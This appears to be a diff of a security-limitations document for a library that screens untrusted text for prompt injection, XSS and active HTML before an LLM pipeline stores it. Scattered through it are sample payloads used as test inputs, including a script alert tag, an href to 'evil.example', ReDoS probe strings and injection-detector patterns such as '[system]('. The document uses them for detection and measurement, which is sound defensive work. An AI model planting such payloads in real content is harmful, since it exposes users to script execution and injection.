`okf.import_bundle` (door C) only — `parse_frontmatter` is referenced nowhere in the
|
||||
door A/B persist path, so frontmatter that fails secure on import passes
|
||||
`screen_output` unremarked. The grammar therefore bounds what a consumer can *receive*,
|
||||
never what a producer can *emit*. Verified identical on 0.2.0 and 0.3.1.
|
||||
- **Consequence: an OKF v0.2 concept cannot traverse the external-import path.** Both
|
||||
of v0.2's backward-breaking migration targets are nested — `timestamp` → `generated.at`,
|
||||
and body `# Citations` → a `sources` block list of mappings — so a conformant v0.2
|
||||
concept fails secure at the frontmatter gate. This is the correct direction but it is
|
||||
a compatibility wall, not a policy: v0.2 support requires a deliberate parse-safety
|
||||
decision about widening the grammar, and the dangling-or-substituted `executor`/
|
||||
`attester` pointer question only becomes live once that decision is made.
|
||||
- **An OKF v0.2 concept traverses the external-import path only if its `sources` are
|
||||
flat.** The wall used to be total: both of v0.2's backward-breaking migration targets
|
||||
are mappings — `timestamp` → `generated.at`, and body `# Citations` → a `sources`
|
||||
block list of mappings — and a consumer measured **0 of 53** upstream concepts
|
||||
through the gate. The trust and provenance layer now passes in its spec form
|
||||
(`generated`, `verified` bare or listed, `usage_window`), so `generated.at` is no
|
||||
longer a wall. **`sources` still is**: SPEC.md writes each entry as a block mapping
|
||||
under a block sequence (`- id: …\n resource: …`), and that carrier stays refused —
|
||||
it is the shape whose one-key degradation smuggled a pointer before `1.1.0`, and
|
||||
reopening it is a separate parse-safety decision, not a corollary of the flow form.
|
||||
A concept whose `sources` are flat strings, or absent, imports. The
|
||||
dangling-or-substituted `executor`/`attester` pointer question stays out of reach
|
||||
for the same reason: both are mappings whose payload key is `resource`.
|
||||
- **`tags` and `description` block the OKF import corpus universally, before the
|
||||
trust layer is even reached.** The line-flat frontmatter parser has no
|
||||
sequence-value type at all: `tags` is present in 53/53 upstream concept
|
||||
documents — 9/53 as a flow sequence (`[a, b, c]`, rejected on the `[`
|
||||
indicator) and 44/53 as a block sequence (`- a` / `- b`, rejected as
|
||||
`"malformed frontmatter line"`) — 100% rejection regardless of form.
|
||||
`description` is present in 53/53; 29/53 is a folded plain scalar continuing
|
||||
on an indented second line, which the parser has no continuation-line model
|
||||
for and misreads as `"nested mappings are not supported"` (the remaining
|
||||
24/53 are single-line and parse fine). Measured directly on the upstream
|
||||
reference bundles (`_okf-upstream/okf` @ `3fcbb9f`): removing `tags` alone
|
||||
lets 4/53 documents pass; removing both `tags` and `description` together
|
||||
(trust layer untouched) lets the same 4/53 pass, and all four then parse
|
||||
`generated` correctly as a mapping. **Independent of both the mapping-form
|
||||
gap and the `sources` block-form gap above:** closing either moves nothing
|
||||
on this corpus, because `tags`/`description` reject before `sources` is ever
|
||||
read. No sequence-value type or continuation-line model exists in the
|
||||
stdlib-only parser to close this with.
|
||||
- **A persist gate cannot cover execution risk.** OKF v0.2 introduces concepts whose
|
||||
purpose is to *name code to be run* (`runtime`, `executor.resource`,
|
||||
`attester.resource`). This library answers "is this safe to **store**"; executable
|
||||
|
|
@ -89,7 +133,13 @@ items; this is the full list, each with the mechanism.
|
|||
`homoglyph:cyrillic-latin-mix` (MEDIUM) flags a Latin letter adjacent to a
|
||||
Cyrillic look-alike, so genuine bilingual prose → MEDIUM → under untrusted →
|
||||
QUARANTINE_REVIEW — a real false positive for an inbox that expects multilingual
|
||||
content. A calibration fix is pending.
|
||||
content. **Conceded for 1.x: no fix is promised.** The rule fires on codepoint
|
||||
adjacency, which genuine bilingual prose produces as readily as a substitution
|
||||
attack does. Narrowing it is a calibration question, not an API one, so a fix
|
||||
may land in any 1.x release without breaking the contract — but none is
|
||||
scheduled, and a caller that ingests multilingual prose should raise its
|
||||
untrusted-tier threshold rather than wait for one. `SECURITY.md` lists this as a
|
||||
documented boundary, not a vulnerability.
|
||||
- **Insider in-place edits** by a trusted author are out of the untrusted-content
|
||||
threat model.
|
||||
- **Text-only.** The core is `text -> findings`: it parses no files (no
|
||||
|
|
@ -216,23 +266,231 @@ items; this is the full list, each with the mechanism.
|
|||
where this would bite — the two corpora that reported a carrier breakdown contained
|
||||
zero remote images and the third did not report one, so the image row of this
|
||||
limitation remains unmeasured in the field.
|
||||
- **Raw HTML with a *relative* URL attribute is HIGH, though it can reach no
|
||||
attacker-controlled host.** The markdown paths test for an external target before
|
||||
flagging; the raw-HTML path deliberately does not, because an active element needs
|
||||
no URL at all (an `on*=` handler executes on its own). That reasoning covers event
|
||||
handlers but over-reaches on the URL-attribute branch: an element outside the active
|
||||
name set carrying `href="/en/agent-sdk/quickstart"` — an internal doc route — grades
|
||||
HIGH. Measured on a vendor-docs corpus, where it lands on MDX components:
|
||||
`<Card href="/…">` fires this way, and `<Frame>` fires on the *name* branch alone
|
||||
because names are lower-cased and `frame` is in the active set — legacy HTML
|
||||
framesets, which appear in essentially no modern documentation, while `Frame` is a
|
||||
common component name. Case is not an available discriminator: HTML is
|
||||
case-insensitive, so PascalCase cannot be treated as "component, not tag".
|
||||
- **Raw-HTML findings count end tags.** `</a>` is active by name on its own, so a
|
||||
corpus census that counts only opening tags understates what this detector reports
|
||||
by roughly the ratio of closing to opening active tags (measured at 1.6× on one
|
||||
corpus). Severity and finding count are unaffected — the class collapses to one
|
||||
finding — but the `count` field is not a document count.
|
||||
- **What `active:raw-html` still costs benign documentation is mostly ordinary HTML,
|
||||
not over-reach — and that residual is not a narrowing away.** Two over-reach
|
||||
classes were closed in 0.6.0: the URL-attribute branch now requires an *external*
|
||||
target (an element outside the active name set carrying `href="/en/agent-sdk/quickstart"`
|
||||
reaches no attacker-controlled host), and `<base>` left the active *name* set (APIM's
|
||||
attribute-less `<base />` means "run the inherited policy"; HTML's `<base>` has its
|
||||
whole affordance in an `href` the attribute branch still catches). `<base />` appears
|
||||
in **25 of reference-corpus's 389** documents — count it with
|
||||
`grep -rlE '<base\s*/?>'`, because a loose `grep '<base'` says 30 and is wrong: it
|
||||
also matches the literal `<base64_string>` placeholder, which is not a tag this
|
||||
detector ever fired on. Measured before
|
||||
and after in one session against one corpus state — `docs/rawhtml-census.py`, whose
|
||||
`PRODUCTION` row re-measures the shipped predicate rather than a hypothesis:
|
||||
reference-corpus 133 → **108** of 389, vendor-harvest 100 → **98** of 187,
|
||||
generated-notes 90 → **88** of 550. Against a ceiling of 26 / 38 / 41 (raw-HTML
|
||||
detection switched off entirely) that is **96% of the achievable reduction in
|
||||
reference-corpus and 5% in the two wiki corpora** — the over-reach was nearly the
|
||||
whole raw-html cost in APIM policy XML and nearly none of it in vendor
|
||||
documentation.
|
||||
**The classes had to be measured together.** Alone, the URL-attribute branch frees
|
||||
3 documents in reference-corpus and `<base>` frees 13; together they free 25. A
|
||||
document carrying one usually carries the other, so closing either alone leaves it
|
||||
blocked by its twin — one-at-a-time measurement understates both, and reading
|
||||
"frees 3" as "this over-reach is cheap" is how this document got the attribution
|
||||
wrong for three releases.
|
||||
**What remains is real HTML in vendor documentation**, flagged by the *name*
|
||||
branch, correctly: per wiki corpus `<a>` 298 occurrences, `<frame>` 94, `<img>` 63
|
||||
— identical in both because 184 of their documents share ancestors. `<frame>` is
|
||||
the one arguable member: names are lower-cased and `frame` is in the active set for
|
||||
legacy HTML framesets, which appear in essentially no modern documentation, while
|
||||
`Frame` is a common MDX component name. Case is not an available discriminator:
|
||||
HTML is case-insensitive, so PascalCase cannot be treated as "component, not tag".
|
||||
Recovering the rest is **not** a further narrowing — it needs a carrier split and a
|
||||
new label (`active:raw-html-link`), because raw HTML has no ordinary form and the
|
||||
class collapses to one finding per document.
|
||||
**The external-target test now gates one more surface, and it is a literal one.**
|
||||
`_has_external_target` matches `^(?:[A-Za-z][A-Za-z0-9+.\-]*:|//)`, so a
|
||||
backslash-separated authority — `href="\\evil.example/x"` — reads as relative and
|
||||
now grades down, although WHATWG URL parsing normalizes backslashes to slashes for
|
||||
special schemes and a browser would resolve it externally. This is inherited, not
|
||||
introduced: the markdown paths have applied the same predicate since 0.3.1. It is
|
||||
recorded here rather than fixed because the fix belongs to the predicate, not to
|
||||
the raw-HTML branch that newly depends on it.
|
||||
**The scanner and the mutator no longer share a predicate.** Until 0.6.0 `neutralize`
|
||||
imported `is_active_tag` by name, so any narrowing moved the opt-in mutator too, and
|
||||
no test discriminated the two halves. They are now `is_active_tag` and
|
||||
`is_defangable_tag`; the mutator kept the broader behaviour deliberately, pinned by
|
||||
`tests/test_neutralize.py::test_mutator_still_defangs_what_the_scanner_now_lets_pass`.
|
||||
- **The carrier split TIGHTENS the trusted tier when both carrier classes are present.**
|
||||
0.7.0 is sold as a loosening of the upload door, and on that door it is one. But
|
||||
splitting one class into two means a document carrying both an `<img src>` and an
|
||||
`<a href>` now emits *two* findings at MEDIUM+ where it emitted one, which trips
|
||||
the compound overlay (`>=2 findings at MEDIUM+ -> escalated one tier`). Such a
|
||||
document was WARN through 0.6.1 and is `quarantine_review` from 0.7.0 under
|
||||
`PRESET_TRUSTED_SOURCE`. On the trusted preset nothing was hard-failed to begin
|
||||
with, so this is the *only* direction the split can move it. Pinned by
|
||||
`tests/test_wiring.py::test_split_tightens_the_trusted_tier_when_both_carriers_are_present`,
|
||||
and `docs/rawhtml-census.py` now reports a `TIGHTENS` column against the
|
||||
previously-shipped row on both trust tiers — "frees N" without "tightens M" is a
|
||||
one-sided number. **Measured on all three populations, as shipped: 0 documents
|
||||
tightened, on both trust tiers — reference-corpus (389), vendor-harvest (187),
|
||||
generated-notes (552).**
|
||||
**That zero is empirical, not structural, and the census shows exactly how thin
|
||||
it is.** The split measured *alone* tightens **13** documents on the trusted tier
|
||||
in vendor-harvest and **14** in generated-notes. Adding the no-URL narrowing takes
|
||||
each of them back to 0: in these populations the document's second, HIGH-class
|
||||
carrier was itself a tag naming no target, which the narrowing makes inert, so the
|
||||
compound overlay never sees two findings. That is the census reporting a
|
||||
cancellation, not this repo proving one — a population whose second carrier is a
|
||||
real `<img src>` would still escalate, which is precisely the case
|
||||
`test_split_tightens_the_trusted_tier_when_both_carriers_are_present` constructs
|
||||
and pins. Read the zero as "not observed in any of the three populations, each
|
||||
counted against its own denominator", never as "cannot happen".
|
||||
- **The split also LOOSENS the upload door for a lone anchor — the direction it was
|
||||
built for, and the one with a residual worth naming.** Measured as shipped:
|
||||
`<a href="https://ext.example/p">t</a>` on its own emits one
|
||||
`active:raw-html-link` at MEDIUM and disposes `quarantine_review` under
|
||||
`PRESET_USER_UPLOAD` (`warn` under `PRESET_TRUSTED_SOURCE`); through 0.6.1 the
|
||||
same document graded HIGH and `fail_secure`d. An `<img src>` to the same host is
|
||||
untouched — `active:raw-html`, HIGH, `fail_secure`. So an anchor pointing at an
|
||||
attacker-controlled host, arriving on an untrusted upload, is now a human decision
|
||||
rather than a halt. The trade is deliberate and it removes an asymmetry that came
|
||||
from syntax rather than affordance: following an anchor needs a click, exactly like
|
||||
the markdown inline link that has graded MEDIUM since 0.3.1, so the same URL no
|
||||
longer grades two different ways depending on which syntax carries it. It is
|
||||
recorded here so 0.7.0's "frees N documents" is not read as free — what was freed
|
||||
is the click-required class, and MEDIUM is a real grade drop on the door where
|
||||
every finding is trust-escalated.
|
||||
- **Raw-HTML findings no longer count end tags, and that moved a published field.**
|
||||
Through 0.6.1 `</a>` was active by name on its own, so `count` ran roughly 1.6×
|
||||
the opening-tag total (measured on one corpus) and a start/end pair counted 2.
|
||||
0.7.0's no-URL narrowing makes an end tag inert — it names no target — so `count`
|
||||
is now the opening-tag total. A consumer reading `count` will see it *drop* for
|
||||
every document carrying `</a>`, on a field whose meaning did not change. The
|
||||
finding count is unaffected: the class still collapses to one finding per class
|
||||
per document, and `count` was never a document count.
|
||||
- **Which tags the no-URL narrowing may render inert is a judgement about affordance,
|
||||
and no test in this repo can derive it.** `_URL_AFFORDANCE_TAGS` holds the nine
|
||||
names whose entire active affordance *is* the URL they name — `a`, `area`, `img`,
|
||||
`video`, `audio`, `source`, `track`, `frame`, `frameset` — so carrying no URL
|
||||
attribute they name no target and grade inert. Every other name in the active set
|
||||
stays active with no attributes at all, because it does something a URL cannot
|
||||
describe: `<script>` executes its body, `<style>` restyles, `<form>` submits. That
|
||||
boundary is asserted, not measured. A name placed in the set whose affordance does
|
||||
*not* reduce to its URL would go silently invisible, and no corpus can catch it,
|
||||
because what it produces is an absence — the census counts findings, and a tag that
|
||||
stopped firing contributes nothing to count. The fail-secure choice one branch
|
||||
further in holds the other way and is worth reading beside it: a URL attribute whose
|
||||
*value* this module cannot resolve keeps the tag active
|
||||
(`active_content.py:320-324`), a branch the three corpora exercise **0** times.
|
||||
That zero is empirical, so the predicate is written not to depend on it.
|
||||
- **"Clean" means *graded, no finding raised* — never *cleaned bytes* — and at one
|
||||
measured consumer's door, `warn` is the floor a document must clear to be
|
||||
persisted rather than rejected.** The word is the library's own: a WARN
|
||||
disposition with nothing to report carries the reason string `"clean: no
|
||||
findings"` (`disposition.py:264`), and this project has repeated that word in the
|
||||
tables it sends consumers. `screen_output` is a judgement API — its
|
||||
`DispositionResult` carries `assessment` / `disposition` / `max_severity` /
|
||||
`reasons`, with no sanitized-text field to read off it. Defanging lives in a
|
||||
separate, deliberate call — `neutralize` — that a caller must invoke itself;
|
||||
nothing upstream of that call transforms a byte. Measured against
|
||||
`llm-ingestion-okf`'s `0.7.0` pin (2026-08-13): `inbox.py:139` sets its persist
|
||||
floor to `warn`, and `inbox.py:323` persists anything carrying that disposition
|
||||
into the bundle; its adapter (`guard_adapter.py:70`) forwards the original
|
||||
extracted text, because nothing upstream ever handed it a transformed one. Four
|
||||
raw-HTML carrier forms the 0.7.0 no-URL narrowing grades inert — an
|
||||
`<a aria-label>` with no `href`, a bare `</a>`, `<Frame>`, `<video />` — verified
|
||||
here (`screen_output(..., PRESET_USER_UPLOAD)`) to dispose `warn, clean: no
|
||||
findings`; at that consumer's door the same four land written into the bundle,
|
||||
carrier present verbatim. Neither library is wrong: `screen_output` never
|
||||
promised transformed bytes, and the consumer never called `neutralize` for them.
|
||||
The gap is in reading "clean" as "sanitized" rather than "no finding raised" — a
|
||||
reading this project's own reports invite, and one that will mislead any caller
|
||||
that persists on `warn` without calling `neutralize` itself.
|
||||
- **Measured, document by document: a large minority of *benign* documents do not
|
||||
persist unattended at the upload door.** The bullets above bound single rules on
|
||||
single URLs. This one bounds the thing a consumer actually feels — how often an
|
||||
ordinary document costs a human — and the honest answer is *often*, on corpora of
|
||||
technical documentation. Three benign populations, each reported against its own
|
||||
denominator (`docs/fp-sweep.py`, run on the post-0.4.0 tree carrying the axis
|
||||
separation, which renders every 0.4.0 disposition identically):
|
||||
|
||||
| population | provenance | n | disposed non-WARN |
|
||||
|---|---|---|---|
|
||||
| vendor-harvest | vendor-published doc pages, harvested verbatim | 185 | **98 (53.0%)** — 64 fail-secure, 34 held |
|
||||
| generated-notes | model-written notes at their own persist gate | 547 | **88 (16.1%)** — 61 fail-secure, 27 held |
|
||||
| reference-corpus | first-party authored reference material | 389 | **133 (34.2%)** — 80 fail-secure, 53 held |
|
||||
|
||||
**These three numbers predate the 0.6.0 raw-HTML narrowing and are left as
|
||||
published**, because two of the three corpora are living — re-harvested by their
|
||||
owning repo, now 187 and 550 documents against the 185 and 547 measured here — so
|
||||
rewriting the cells would mix a code change with corpus drift. The narrowing's
|
||||
effect was measured separately, before and after against one corpus state:
|
||||
reference-corpus (static, and reproduced at exactly 389/133) drops to **108**, the
|
||||
two wiki rows to **98** and **88** on their current state. The bullet above carries
|
||||
the method; `docs/rawhtml-census.py LABEL=<path>` reproduces it.
|
||||
|
||||
**The unit is a document and the gate is the strict one:** `screen_output(doc,
|
||||
PRESET_USER_UPLOAD)`, counting `disposition is not WARN`. WARN is the benign
|
||||
outcome (persisted, with a note), so a *finding* is not a false positive — only a
|
||||
document the pipeline cannot persist unattended is. Under the default action map
|
||||
that count is equivalent to *assessed `ELEVATED` or worse*, and the equivalence is
|
||||
pinned by `tests/test_corpus.py::test_the_published_fp_metric_is_a_risk_statement`
|
||||
so an `action_map` override cannot silently redefine the published number.
|
||||
**These are not comparable to the URL-level measurements above** (16 of 16, 28 of
|
||||
28, 149 of 1694): different unit, different corpora, and they must never be
|
||||
combined or read as an update to each other. **Nor are the three rows summable** —
|
||||
different provenance, different denominators.
|
||||
**What moved them is mostly residuals this document already concedes**, counted by
|
||||
the labels at each document's *worst* severity (a histogram of every label present
|
||||
would credit the over-block to whatever else happened to be in the document). In
|
||||
vendor-harvest, `active:raw-html` is a top driver in **52 of the 98**,
|
||||
`markdown:link-anchor-injection` in 23, and only about ten documents are moved by genuinely
|
||||
injection-shaped text, which is what security-adjacent documentation contains
|
||||
honestly. Generated-notes tracks it almost exactly, as 184 shared ancestors imply
|
||||
— `active:raw-html` in 53 of its 88, `markdown:link-anchor-injection` in 23 — so
|
||||
read those two rows as one observation, not two. In reference-corpus, which shares
|
||||
no upstream with either, the same shape holds with a different mix:
|
||||
`active:markdown-link` 38 (largely the `?view=` documentation-version class from
|
||||
the query bullet above), `active:data-uri` 36, `active:raw-html` 27,
|
||||
`markdown:link-anchor-injection` 27, and eleven injection-shaped.
|
||||
**Ground truth for "benign" is provenance, not inspection:** nobody hand-read
|
||||
these corpora — each is benign by where it came from. A planted injection sitting
|
||||
in a harvested corpus is scored here as a false positive, which is a real caveat
|
||||
and not a formality.
|
||||
**The populations are disjoint as documents but not independent as content:** 184
|
||||
of generated-notes' 547 are same-named derivatives of vendor-harvest's 185, which
|
||||
is most of why their driver labels agree. The third population shares no upstream
|
||||
with either, and is the one whose provenance is first-party.
|
||||
**The trusted door cannot produce this number and is printed only as a footnote**
|
||||
(162 of 185, 527 of 547, 366 of 389 WARN there): every non-CRITICAL finding WARNs
|
||||
under trust, which is the structural blindness that let the 0.3.0 active-content
|
||||
regression pass a green suite. Read the contrast as the intended one — the same
|
||||
corpus is cheap to persist from a source you trust and expensive from one you do
|
||||
not.
|
||||
**Every population was swept twice and reproduced its counts exactly *within the
|
||||
sweep that produced them*, but two of the three are living corpora and no longer
|
||||
reproduce.** `vendor-harvest` and `generated-notes` are directories inside
|
||||
`claude-code-llm-wiki`, which re-harvests per Claude Code release; re-run on
|
||||
2026-08-11 against that repo at commit `aba87e2` they give **100 of 187** and
|
||||
**90 of 550**. The added documents are ordinary vendor documentation, not a
|
||||
detection change — the guard's behaviour did not move between the two runs.
|
||||
`reference-corpus` is static and reproduced **133 of 389** exactly. The table
|
||||
above is **not** restated to today's counts: it is a measurement with a date, and
|
||||
measurement provenance is never silently bumped. What was missing was the
|
||||
provenance itself — a reader who re-ran the first two rows got different numbers
|
||||
and had nothing in this file to explain why. Pin the corpus commit when you
|
||||
reproduce, or expect a drifting denominator.
|
||||
The largest document in any of them is 362 kB — no document approached the
|
||||
1 000 000-character input cap, so truncation confounds nothing here.
|
||||
**The sharpest datum needs no corpus at all: this repository's own eight published
|
||||
documents are 8 of 8 fail-secure at the upload door** (`python docs/fp-sweep.py
|
||||
self-docs=docs --ext=.md` on a clone, which also picks up any untracked local
|
||||
notes). It is the first bullet of this file at full strength — a document that
|
||||
*describes* attacks carries the constructs it describes — and anyone can reproduce
|
||||
it. It is deliberately **not** a fourth population in the claim above: one
|
||||
eight-document corpus, chosen because it is the worst case, is an illustration and
|
||||
not a rate.
|
||||
**The rate is stable across the versions consumers actually pin**: the same
|
||||
population measured against the **v0.3.1 tag** gives 99 of 185 (53.5%) — one
|
||||
document more than today's 98. That one document is a *removed* false positive,
|
||||
not a regression: `markdown:link-anchor-injection` used to match 300 characters of
|
||||
ordinary prose by opening at one construct's `[` and closing at another's `](…)`,
|
||||
and 0.3.3's ReDoS fix telescoped it shut. See the CHANGELOG correction — 0.3.3
|
||||
reported two behaviour-change classes and there were three.
|
||||
- **URL fragments are not graded.** A fragment is never sent to the server, so it
|
||||
cannot carry data to the host a renderer auto-fetches, and `…/overview#section` is
|
||||
the most common shape in real documentation. The residual: a *clicked* link to an
|
||||
|
|
@ -249,7 +507,15 @@ items; this is the full list, each with the mechanism.
|
|||
document *about* XSS is flagged alongside a document that *carries* it. This
|
||||
is a deliberate trade made twice over: requiring the closing tag was a
|
||||
fail-open (an unclosed `<script>alert(1)` was silently missed by *this label*)
|
||||
and it was the last quadratic-backtracking site on the output path.
|
||||
and it removed a quadratic-backtracking site on the output path. **It was not
|
||||
the last one** — 0.3.2 said so and that claim was wrong. The 0.3.3 sweep of
|
||||
all 83 lexicon patterns found two more, and because `scan_lexicon` runs on the
|
||||
output path too, they were reachable through `scan_output`: `"[" * 100_000`
|
||||
took 334.7s through the gate. The claim was too broad because the sweep behind
|
||||
it drove `[` only through `scan_active_content`, never through the lexicon.
|
||||
0.3.4 then found three more outside the lexicon — two of them on the *input*
|
||||
path, where no cap applies at all — so "the output path" was never the whole
|
||||
surface either.
|
||||
**Measured, both claims are narrower than they read.** The new label costs no
|
||||
consumer a disposition: any text containing a literal `<script>` already
|
||||
produced `active:raw-html` at HIGH on 0.3.1 — so the same prose disposed
|
||||
|
|
@ -260,6 +526,23 @@ items; this is the full list, each with the mechanism.
|
|||
HIGH under a low-trust preset is `fail_secure`. Report-only means the text is
|
||||
never mutated — it does not mean the finding cannot block.
|
||||
|
||||
- **The two labels a `<script>` tag raises come from patterns that do not match the
|
||||
same strings.** `hybrid-xss:script-tag` is `<script\b[^><]*>`; `active:raw-html`
|
||||
reads the same tag through `HTML_TAG_RE`, which consumes quoted attribute runs
|
||||
atomically and so tolerates both `<` and `>` inside a quoted value. The lexicon's
|
||||
`<` exclusion is not a modelling choice — it is the 0.3.3 ReDoS fix, and widening
|
||||
it back to `[^>]` restores a quadratic arm (the row below carries the numbers).
|
||||
Measured through both scanners: `<script src="a<b">` raises `active:raw-html` and
|
||||
**no** XSS label, while `<script data-t="a>b">` raises both, the lexicon's match
|
||||
simply ending at the quoted `>`. The disposition never moves — the raw-HTML branch
|
||||
grades `<script>` HIGH with no attributes at all, so every shape here still
|
||||
`fail_secure`s under `PRESET_USER_UPLOAD` — so what the divergence costs is the
|
||||
*label*: a consumer filtering findings on the XSS id sees a subset of the script
|
||||
tags the gate actually caught, and must not read that id as the gate's script-tag
|
||||
census. The residual is practically dead in prose (a `<` inside a script tag's
|
||||
quoted attribute region is not an ordinary shape) and is recorded because the
|
||||
asymmetry is invisible from either scanner alone.
|
||||
|
||||
- **A connection-string password longer than 256 chars is not matched.** The
|
||||
password run in the `*-connstr` egress patterns is bounded by
|
||||
`MAX_CONNSTR_VALUE`; unbounded, it sits in front of a mandatory `@` and makes
|
||||
|
|
@ -275,6 +558,123 @@ items; this is the full list, each with the mechanism.
|
|||
`PRESET_USER_UPLOAD` it still `fail_secure`s. The credential is never silently
|
||||
missed; on one preset it is held for review instead of halted.
|
||||
|
||||
- **The ReDoS sweep has a measured sensitivity floor, not a clean bill of
|
||||
health.** All 152 compiled patterns across all eleven regex-bearing modules are
|
||||
swept arm by arm — payloads synthesised per run from each pattern's own
|
||||
skeleton, so `[`, `[system]` and `[system](` are each probed separately rather
|
||||
than relying on generic units, and each pattern is timed in the call mode the
|
||||
production code uses (`.sub()`/`.finditer()` visit every start position where
|
||||
`.match()` cannot). Five patterns were quadratic across 0.3.3 and 0.3.4; all
|
||||
are fixed. But the sweep flags on *timing*, and it ignores measurements below a
|
||||
1.5 ms noise floor at N=8000 — process CPU time, re-derived on that instrument
|
||||
(see the clock bullet below) rather than inherited from the wall clock the
|
||||
script used through 1.1.0. A quadratic arm sitting just under that floor would
|
||||
still cost **up to ~23 s** at the 1 000 000-char cap — that figure is arithmetic
|
||||
and not a measurement: a quadratic arm costs the square of the length ratio, and
|
||||
1.5 ms × 125 × 125 is 23.4 s. So the claim this sweep supports is "no arm worse
|
||||
than ~23 s at the cap", not "no quadratic arm remains". The method's blind spot
|
||||
is real and has now been demonstrated twice: a generic-payload pass found only
|
||||
one of 0.3.3's two patterns, and 0.3.2's
|
||||
hand-written rows missed all three of 0.3.4's — including one on `sanitize`,
|
||||
the first thing every ingested document touches. **Two arm shapes the unit-
|
||||
repetition payloads cannot express** are pinned by hand as a result: a tag that
|
||||
*closes* around a long body, and a run of plain characters carrying no anchor
|
||||
at all.
|
||||
|
||||
- **A green ReDoS row is evidence only if it has been seen red, and three rows in
|
||||
this suite had never been.** The class is not a bad bound but a payload that cannot
|
||||
reach the defect, and it leaves the row passing under the vulnerable form too. The
|
||||
sub-agent row is the clearest case: the seed's unbounded lazy run costs per *prefix
|
||||
match*, not per character — each start position where `spawn an agent that ` matches
|
||||
drives its own O(N) scan to end-of-string looking for a capability keyword the
|
||||
payload never supplies, so K prefix matches cost K×O(N), and the bounded
|
||||
`(?:\S+\s+){0,12}?` port caps each scan at 12 tokens for K×O(1). A payload that
|
||||
matches the prefix **once** and then pads pays a single lazy run and is linear
|
||||
however long the pad is — two earlier shapes did exactly that, and the row sat
|
||||
measured-dead at 1.2× until the payload was rebuilt as
|
||||
`"spawn an agent that " * 3000`. (The nesting an older comment blamed is a red
|
||||
herring: the inner `.*?` sits in an optional group, never a repeated one.) Measured
|
||||
through `scan_lexicon` with the seed form patched back in — exponent **1.92** against
|
||||
the shipped **1.01**, and **4.091s vs 0.190s** at 12 000 words, the seed breaking the
|
||||
2.0s bound outright. Two siblings were dead for different reasons.
|
||||
`lexicon-script-tag` had to be given its own N=200 000: at the shared N=100 000 the
|
||||
vulnerable `[^>]` form measured only ~1.2–1.4s — under the 2.0s assert, so the row
|
||||
was green under both forms and proved nothing. And
|
||||
`test_gate_is_bounded_on_the_long_attribute_arm` was killed by **this repo's own
|
||||
narrowing**: 0.7.0 put `<a>` in `_URL_AFFORDANCE_TAGS`, so its `<a ` + 100k + `>`
|
||||
payload became inert and returned *before* the body ever reached the arm the row
|
||||
exists to guard — separation 1.0×, 0.028s and no findings, against 12.475s for the
|
||||
same payload carried by `<script `. The carrier was moved to `<script `, which is
|
||||
active by name with no attributes, so no future URL-shaped narrowing can hollow it
|
||||
out the same way. The general rule the three share: a payload must **deny** the
|
||||
literal the vulnerable run sits in front of — a unit that supplies it matches
|
||||
immediately and never exercises the run. **Nothing but hand measurement finds this
|
||||
class.** The row is green either way, so
|
||||
the suite cannot report its own blind spot, and every bound in it should be read as
|
||||
"verified red under the vulnerable form" only where a comment says it was.
|
||||
|
||||
- **Every ReDoS bound in the suite is measured on process CPU time, and so is the
|
||||
sweep that sets the published sensitivity floor.** `tests/redos_clock.py` is the one
|
||||
clock all six test files import — `time.process_time()` — because a blowup is spent
|
||||
cycles while a loaded machine steals wall clock without adding any. On
|
||||
`time.monotonic()` two 0.7.0 rows failed at **2.24s / 3.66s** against a 2.0s bound
|
||||
while two census processes held the CPU, and passed 3/3 on an idle machine: they had
|
||||
been descheduled, not slowed. It lives in one module rather than five copies because
|
||||
`test_output.py::test_the_redos_clock_ignores_time_this_process_did_not_spend` pins
|
||||
one implementation, and four unpinned copies would be free to drift back to a wall
|
||||
clock with nothing going red. **What the CPU clock gives up, stated: a scan that
|
||||
BLOCKS forever burns no CPU, so it would hang the suite instead of failing it.**
|
||||
That is acceptable only because every scanner it measures is pure regex over an
|
||||
in-memory string, with no I/O and no locks — the last wall-clock holdout was retired
|
||||
by auditing its path for anything that could block, not by assumption, and a wall
|
||||
clock guarding a mode that cannot occur still charges the false-red premium
|
||||
(measured there at 21.6s against a 10.0s bound, on a scan that spent 7.6s). **The sweep
|
||||
now runs on the same clock, and closing that divergence bought no sensitivity.**
|
||||
`docs/redos-sweep.py` imports `scan_seconds` instead of timing on
|
||||
`time.monotonic()`, so the 1.5 ms floor at N=8000 and the "~23 s at the cap"
|
||||
figure above are finally in the same currency as the bounds they justify. What
|
||||
the move did *not* do is quiet the sweep, and the floor came back unchanged.
|
||||
Measured over **twelve full runs of all 2585 arms**: the median ratio sits at
|
||||
**1.95–2.03** in every size bucket above 50 µs — the whole surface measures
|
||||
linear — while two-point excursions past the 2.6 flag threshold survive at every
|
||||
magnitude, p99 ratio **2.9–3.3 even above 1 ms**. Flagged arms per run by floor:
|
||||
**6.9 at 0.5 ms, 1.1 at 1.0 ms, 0.33 at 1.5 ms** (0–2 per run), so 1.5 ms is
|
||||
still the knee. Descheduling was never what made this sweep noisy — a ratio
|
||||
computed from two points is. Four distinct arms flagged at the shipped floor
|
||||
across those twelve runs, **each in exactly one of them**, and nine of the twelve
|
||||
runs were clean; eight consecutive runs of the shipped script immediately after a
|
||||
full test run flagged 0–3 arms each, so machine load still moves the count even
|
||||
on a CPU clock. Six flagged arms re-measured over six doublings give exponent
|
||||
**0.97–1.09** and at most 1.2 s at the 1 000 000-char cap. **A single clean run
|
||||
of this sweep is therefore not evidence either** — and neither is a single
|
||||
flagged one.
|
||||
|
||||
- **Every surface now bounds its input, but not all of them the same way.**
|
||||
`sanitize`, `fence` and `neutralize` raise `OversizeInputError` above
|
||||
`MAX_INPUT_CHARS` (1 000 000) rather than returning a partially transformed
|
||||
document, which bounds the whole input path — `sanitize` is step 1 of
|
||||
`prepare_input`, and it only ever removes, so everything after it is already
|
||||
under the cap. They reject rather than truncate because they return *content*:
|
||||
a shortened document is silent data loss, and a transformed prefix followed by
|
||||
an untransformed tail is a bypass an attacker positions the payload into. The
|
||||
detection surfaces truncate instead, which costs only detection in the tail —
|
||||
`scan_lexicon` / `scan_output` always have, and as of 0.4.0
|
||||
`scan_active_content` **called directly** does too (reached through
|
||||
`scan_output` it inherits that surface's cap and is not flagged twice), as does
|
||||
`okf.link_graph`, whose cost was a bundle-wide `findall` over every document
|
||||
body. **What truncation costs is worth naming: past the cap, "no finding" means
|
||||
"not looked at".** Each says so rather than staying silent — the scanners emit
|
||||
an `oversize-input` finding (`active:oversize-input`, OWASP LLM10), and
|
||||
`link_graph` records `(from_id, body_length)` in `LinkGraphResult.truncated`,
|
||||
which is what lets a caller tell "no links past here" apart from "no links
|
||||
